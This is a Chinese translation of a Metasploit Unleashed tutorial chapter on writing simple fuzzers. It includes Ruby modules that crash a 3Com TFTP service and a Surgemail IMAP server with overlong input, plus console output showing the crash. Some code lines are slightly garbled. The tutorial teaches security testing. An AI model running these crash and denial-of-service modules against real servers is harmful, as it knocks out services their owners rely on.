翻译者说明1:本文为Metasploit Unleashed中文版翻译。原文链接:https://www.offensive-security.com/metasploit-unleashed/
翻译者说明2:为减轻翻译负担采用了机器翻译,翻译者从中人工剔除了机翻错误或歧义的问题,但难免会存在小问题,请读者见谅。如发现文章翻译存在问题,可在文章下方评论留言。
翻译者说明3:如果你喜欢这篇翻译,请给关注一下我并给文章点个赞,你的支持是给我工作的最大鼓励。
翻译者说明4:其他章节一并整合在专栏中,如有兴趣可关注专栏了解更多内容。
七、编写简单模糊测试
1. 什么是模糊测试器?
模糊测试器是安全专业人员用来向程序输入提供无效和意外数据的工具。典型的模糊测试器测试应用程序缓冲区溢出、无效格式字符串、目录遍历攻击、命令执行漏洞、SQL 注入、XSS 等。
由于 Metasploit 框架为安全专业人员提供了一套非常完整的库,用于许多网络协议和数据操作,因此它是快速开发简单模糊器的良好候选者。
Metasploit’s Rex Library
Rex::Text 模块提供了许多处理文本的便捷方法,例如:
- 缓冲区转换
- 编码(html、url 等)
- 校验和
- 随机字符串生成
最后一点对于编写简单的模糊器非常有帮助。这将帮助您编写模糊测试工具,例如简单的URL模糊测试器或完整的网络模糊测试器。
有关 Rex 的更多信息,请参阅Rex API 文档.
以下是您可以在Rex::Text中找到的一些功能:
root@kali:~# grep "def self.rand" /usr/share/metasploit-framework/lib/rex/text.rb
def self.rand_char(bad, chars = AllChars)
def self.rand_base(len, bad, *foo)
def self.rand_text(len, bad='', chars = AllChars)
def self.rand_text_alpha(len, bad='')
def self.rand_text_alpha_lower(len, bad='')
def self.rand_text_alpha_upper(len, bad='')
def self.rand_text_alphanumeric(len, bad='')
def self.rand_text_numeric(len, bad='')
def self.rand_text_english(len, bad='')
def self.rand_text_highascii(len, bad='')
def self.randomize_space(str)
def self.rand_hostname
def self.rand_state()
2. 简单的 TFTP 模糊测试器
Metasploit最强大的方面之一是通过重用现有代码进行更改和创建新功能是多么容易。例如,正如这个非常简单的Fuzzer代码所示,您可以对现有的Metasploit模块进行一些小的修改,以创建Fuzzer模块。这些更改会将传输模式值的长度不断增加传递给适用于 Windows 的 3Com TFTP 服务,从而导致 EIP 的覆盖。
#Metasploit
require 'msf/core'
class Metasploit3 '3Com TFTP Fuzzer',
'Version' => '$Revision: 1 $',
'Description' => '3Com TFTP Fuzzer Passes Overly Long Transport Mode String',
'Author' => 'Your name here',
'License' => MSF_LICENSE
)
register_options( [
Opt::RPORT(69)
], self.class)
end
def run_host(ip)
# Create an unbound UDP socket
udp_sock = Rex::Socket::Udp.create(
'Context' =>
{
'Msf' => framework,
'MsfExploit' => self,
}
)
count = 10 # Set an initial count
while count < 2000 # While the count is under 2000 run
evil = "A" * count # Set a number of "A"s equal to count
pkt = "\x00\x02" + "\x41" + "\x00" + evil + "\x00" # Define the payload
udp_sock.sendto(pkt, ip, datastore['RPORT']) # Send the packet
print_status("Sending: #{evil}") # Status update
resp = udp_sock.get(1) # Capture the response
count += 10 # Increase count by 10, and loop
end
end
end
非常简单。让我们运行它,看看会发生什么。
我们崩溃了!我们新的模糊测试工具正在按预期工作。虽然这表面上看起来很简单,但需要考虑的一件事是这为我们提供了可重用的代码。在我们的示例中,有效负载结构是为我们定义的,节省了我们的时间,并允许我们直接进行模糊测试,而不是研究TFTP协议。这是非常强大的,也是Metasploit框架的一个隐藏的好处。
3. 简单的 IMAP 模糊测试器
在主机侦测会话期间,我们发现了一个 IMAP 邮件服务器,已知该服务器容易受到缓冲区溢出攻击 (Surgemail 3.8k4-4)。我们找到了有关该漏洞的公告,但在Metasploit数据库和互联网上都找不到任何有效的漏洞利用。然后,我们决定从一个简单的 IMAP 模糊测试器开始编写自己的漏洞。
从通报中,我们确实知道易受攻击的命令是IMAP LIST,您需要有效的凭据才能利用该应用程序。正如我们之前所看到的,MSF中存在的大型"库库"可以帮助我们快速编写任何网络协议的脚本,IMAP协议也不例外。包括Msf::Exploit::Remote::Imap将节省我们很多时间。实际上,连接到IMAP服务器并执行模糊易受攻击的命令所需的身份验证步骤,只需一行命令行即可!以下是 IMAP LIST 模糊器的代码:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 > Msf::Auxiliary
include Msf::Exploit::Remote::Imap
include Msf::Auxiliary::Dos
def initialize
super(
'Name' => 'Simple IMAP Fuzzer',
'Description' => %q{
An example of how to build a simple IMAP fuzzer.
Account IMAP credentials are required in this fuzzer.
},
'Author' => [ 'ryujin' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 1 $'
)
end
def fuzz_str()
return Rex::Text.rand_text_alphanumeric(rand(1024))
end
def run()
srand(0)
while (true)
connected = connect_login()
if not connected
print_status("Host is not responding - this is G00D ;)")
break
end
print_status("Generating fuzzed data...")
fuzzed = fuzz_str()
print_status("Sending fuzzed data, buffer length = %d" % fuzzed.length)
req = '0002 LIST () "/' + fuzzed + '" "PWNED"' + "\r\n"
print_status(req)
res = raw_send_recv(req)
if !res.nil?
print_status(res)
else
print_status("Server crashed, no response")
break
end
disconnect()
end
end
end
在 run() 方法之上,每次用户调用从 msfconsole 运行时,我们的代码都将被执行。在 run() 中的 while 循环中,我们连接到 IMAP 服务器,并通过从 Msf::Exploit::Remote::Imap 导入的函数 connect_login() 进行身份验证。然后,我们将函数调用 fuzz_str(),该函数生成一个可变大小的字母数字缓冲区,该缓冲区将通过raw_send_recv函数作为 LIST IMAP 命令的参数发送。我们将上述文件保存在**auxiliary/dos/windows/imap/**子目录中,并从msfconsole加载它,如下所示:
msf > use auxiliary/dos/windows/imap/fuzz_imap
msf auxiliary(fuzz_imap) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
IMAPPASS no The password for the specified username
IMAPUSER no The username to authenticate as
RHOST yes The target address
RPORT 143 yes The target port
msf auxiliary(fuzz_imap) > set RHOST 172.16.30.7
RHOST => 172.16.30.7
msf auxiliary(fuzz_imap) > set IMAPUSER test
IMAPUSER => test
msf auxiliary(fuzz_imap) > set IMAPPASS test
IMAPPASS => test
现在,我们已准备好对易受攻击的 IMAP 服务器进行模糊处理。我们附加来自 ImmunityDebugger 的 surgemail.exe 进程,并开始我们的模糊测试会话:
msf auxiliary(fuzz_imap) > run
[*] Connecting to IMAP server 172.16.30.7:143...
[*] Connected to target IMAP server.
[*] Authenticating as test with password test...
[*] Generating fuzzed data...
[*] Sending fuzzed data, buffer length = 684
[*] 0002 LIST () /"v1AD7DnJTVykXGYYM6BmnXL[...]" "PWNED"
[*] Connecting to IMAP server 172.16.30.7:143...
[*] Connected to target IMAP server.
[*] Authenticating as test with password test...
[*] Generating fuzzed data...
[*] Sending fuzzed data, buffer length = 225
[*] 0002 LIST () /"lLdnxGBPh1AWt57pCvAZfiL[...]" "PWNED"
[*] 0002 OK LIST completed
[*] Connecting to IMAP server 172.16.30.7:143...
[*] Connected to target IMAP server.
[*] Authenticating as test with password test...
[*] Generating fuzzed data...
[*] Sending fuzzed data, buffer length = 1007
[*] 0002 LIST () /"FzwJjIcL16vW4PXDPpJV[...]gaDm" "PWNED"
[*]
[*] Connecting to IMAP server 172.16.30.7:143...
[*] Connected to target IMAP server.
[*] Authenticating as test with password test...
[*] Authentication failed
[*] Host is not responding - this is G00D ;)
[*] Auxiliary module execution completed
MSF 告诉我们 IMAP 服务器可能已崩溃,ImmunityDebugger 确认如下图所示: